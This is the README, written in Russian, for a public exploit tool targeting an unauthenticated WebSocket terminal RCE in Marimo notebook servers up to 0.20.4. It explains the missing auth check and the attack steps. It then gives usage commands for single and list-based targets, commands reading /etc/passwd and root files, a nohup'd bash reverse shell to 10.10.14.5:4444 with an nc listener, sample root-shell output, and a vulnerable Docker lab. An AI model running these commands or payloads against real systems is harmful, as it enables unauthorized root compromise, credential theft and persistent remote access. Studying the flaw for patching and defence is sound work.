
Эксплойт для Marimo pre-auth RCE через терминальный WebSocket, обеспечивающий выполнение команд, интерактивную PTY-оболочку и возможности reverse shell для авторизованного тестирования на проникновение.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19.6k ⭐) — это открытый реактивный Python-сервер для ноутбуков. Версии ≤ 0.20.4 раскрывают конечную точку терминала WebSocket (/terminal/ws), которая полностью пропускает аутентификацию, даже если аутентификация включена на сервере.
Одно неаутентифицированное WebSocket-соединение даёт полноценную интерактивную PTY-оболочку. В стандартных Docker-развёртываниях команды выполняются от имени root.
Статус: Исправлено в
0.23.0— marimo-team/marimo@c24d480
Конечная точка /terminal/ws не содержит вызова validate_auth(), который присутствует во всех остальных аутентифицированных конечных точках:
# ❌ /terminal/ws — нет проверки аутентификации (уязвимо)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# Нет проверки аутентификации!
await websocket.accept() # принимает напрямую
child_pid, fd = pty.fork() # порождает PTY-оболочку
# ✅ /ws — корректно аутентифицировано
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # аутентификация обязательна
return
AuthenticationMiddleware в Marimo помечает неаутентифицированные соединения как UnauthenticatedUser, но не отклоняет их — принудительное применение зависит исключительно от декораторов конечных точек или вызовов validate_auth(). В /terminal/ws нет ни того, ни другого.
1. Подключиться к ws(s)://TARGET/terminal/ws → токен не требуется
2. websocket.accept() → соединение принято
3. pty.fork() → порождена PTY-оболочка
4. Отправить любую команду → произвольное выполнение кода от root
| Программное обеспечение | Уязвимые | Исправленные |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
Переход непосредственно в интерактивную оболочку через WebSocket — прослушиватель не требуется:
python3 CVE-2026-39987.py -u target.htb -i
[+] Интерактивная оболочка — вводите команды, Ctrl+C или 'exit' для выхода
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
При использовании полезной нагрузки обратной оболочки отсоедините процесс от PTY с помощью nohup ... &,
чтобы он пережил закрытие WebSocket-соединения:
# Сначала настройте прослушиватель
nc -lvnp 4444
# Затем отправьте полезную нагрузку
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ Без
nohup ... &процесс оболочки привязан к PTY и будет убит при закрытии WebSocket. Используйте-iдля прямой оболочки илиnohupдля обратных оболочек.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL URL одиночной цели или хост
-l LIST, --list LIST файл с целями, по одной на строку
-c CMD, --cmd CMD команда для выполнения (по умолчанию: id && cat /root/root.txt)
-p PATH, --path PATH путь конечной точки WebSocket (по умолчанию: /terminal/ws)
-t SEC, --timeout SEC секунд тишины перед сдачей (по умолчанию: 2)
-d SEC, --delay SEC задержка после подключения перед сбросом баннера (по умолчанию: 1)
-i, --interactive интерактивная PTY-оболочка — держит соединение открытым
--verify включить проверку SSL-сертификата (отключена по умолчанию)
-q, --quiet подавить служебные сообщения, только вывод
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] Цель : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Режим : command
[*] Команда : id && cat /root/root.txt
[*] Подключение...
[*] Сброс баннера...
[+] Отправка полезной нагрузки...
[+] Вывод:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
Этот инструмент предоставлен только для образовательных целей и авторизованного тестирования на проникновение.
Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
Всегда получайте надлежащее разрешение перед тестированием любой системы, которая вам не принадлежит.